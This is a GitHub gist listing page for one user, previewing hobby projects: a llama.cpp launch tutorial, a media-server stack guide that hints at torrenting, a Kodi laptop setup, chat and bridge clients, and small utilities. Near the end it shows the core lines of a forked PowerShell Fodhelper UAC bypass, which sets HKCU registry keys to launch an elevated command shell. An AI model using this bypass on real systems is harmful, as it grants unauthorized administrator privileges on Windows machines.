Skip to content

Instantly share code, notes, and snippets.

View fucksophie's full-sized avatar
🐈
MEOWWWWWWWWWWWWWWWWWWWWWWW

sophie fucksophie

🐈
MEOWWWWWWWWWWWWWWWWWWWWWWW
View GitHub Profile
@fucksophie
fucksophie / README.md
Last active June 24, 2025 14:36
Run llama.cpp with a single .zip file and nix-shell

this script runs steam-run, and nixgl together to launch a llama.cpp server

tutorial:

  1. Get the latest llama.cpp version. 6/24/25, it is b5749. Replace the <build> in 1. with the correct number.
  2. wget https://github.com/ggml-org/llama.cpp/releases/download/<build>/llama-<build>-bin-ubuntu-vulkan-x64.zip --output l.zip && unzip l.zip
  3. wget https://huggingface.co/TheBloke/airoboros-mistral2.2-7B-GGUF/blob/main/airoboros-mistral2.2-7b.Q4_K_S.gguf?download=true (or use a different model)
  4. chmod +x run-llama-vulkan.sh
  5. if you are using vulkan, then just ./run-llama-vulkan.sh, if you aren't follow further
  6. in line 10, modify nixVulkanIntel to be nixVulkanNvidia.
@fucksophie
fucksophie / README.md
Created June 23, 2025 14:29
Full * arr stack + explanation

*arr stack

The *arr stack is for legally* playing music, TV shows and movies. There are four major components, those being:

  • Jellyfin (or plex for purists)
    This is your Main Guy. Jellyfin finds where your files are stored, and plays them in UIs across differnt systems, platforms, etc.
  • Lidarr
    Lidarr is your Music Guy. Lidarr finds music by using the download clients and indexers (in our case via slskd for both) supplied.
  • Radarr
    Radarr is your Movie Guy. Radarr finds movies (in our case by using Qbittorrent). Indexers for radarr are common indexing sites for Linux ISO's, like 1337x.to and rarbg.
@fucksophie
fucksophie / README.md
Created June 23, 2025 12:48
kodi + nixos + laptop + bluetooth

turn your old laptop into a kodi system

This configuration was written by @fucksophie, for the Lenovo Yoga 510 14ISK-80S7. I upgraded the ram in mine ages ago to 8 gigabytes instead of four. I reccomend for you to do the same.

Info:

  1. This configuration has specific configuration for fixing the S/PDIF (actually HDMI) part of the Intel HDA audio card.
    Remove them if you know that HDMI audio works with your laptop & pulseaudio. (Line 39, and lines 41-54)
  2. This has bluetooth support, remove basically anything that has bluetooth in it if you don't want that.
  3. This also uses kodi-wayland, as I had way better performance with it and a 100x easier setup via cage.
@fucksophie
fucksophie / client.ts
Created January 17, 2025 20:23
this is a typescript client for multiplayerpiano. it has fully compatiablity with every single message that MPP sends out. from all of the "custom" related stuff, to a notebuffer system. EVERYTHING.
import chalk from "chalk";
import EventEmitter from "wolfy87-eventemitter";
import type {
ChannelSettings,
ChatMessage,
ChChannelSettings,
Crown,
LSMessage,
Messages,
MessageTypes,
@fucksophie
fucksophie / combine.js
Created May 18, 2024 08:19
combine two lists of tailwind classes
function combineTailwind(first, second) {
const secondSplit = second.split(" ")
let classes = [];
const secondIds = secondSplit.map(z => z.split("-")[0]);
for(const defaultClass of first.split(" ")) {
if(!secondIds.includes(defaultClass.split("-")[0])) {
classes.push(defaultClass);
}
@fucksophie
fucksophie / index.js
Created August 21, 2023 17:37
switchcraft and matrix bridge :)
import { Client } from "switchchat";
import {Level} from "level"
import {
MatrixClient,
SimpleFsStorageProvider,
} from "matrix-bot-sdk";
const storage = new SimpleFsStorageProvider("server.json");
const client = new MatrixClient("https://matrix.yourfriend.lol", "", storage);
@fucksophie
fucksophie / fluidsim.md
Last active December 3, 2022 19:50
how 2 make fluid sim yf style

how to make a HTML fluid sim

hi this will be my first real blog thing i'll try to explainw hat i m doing

Boilerplate / Setup

we have to do some ep0c boilerplate.. first lets make a epic index.html and slap something like

@fucksophie
fucksophie / userRankings.ts
Created April 2, 2022 11:56
user rankings for a plot of pixels in r/place 2022
/*
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
@fucksophie
fucksophie / FodhelperUACBypass.ps1
Last active January 2, 2022 14:46 — forked from netbiosX/FodhelperUACBypass.ps1
Bypass UAC via Fodhelper binary in Windows 10 systems
function FodhelperUACBypass(){
Param (
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
@fucksophie
fucksophie / keybase.md
Created December 25, 2021 10:27
keybase.md

Keybase proof

I hereby claim:

  • I am yourfriendoss on github.
  • I am yourfriend (https://keybase.io/yourfriend) on keybase.
  • I have a public key whose fingerprint is 133A 9696 26CC A8A9 1811 CF18 ADA0 EBCC 72B7 428E

To claim this, I am signing this object: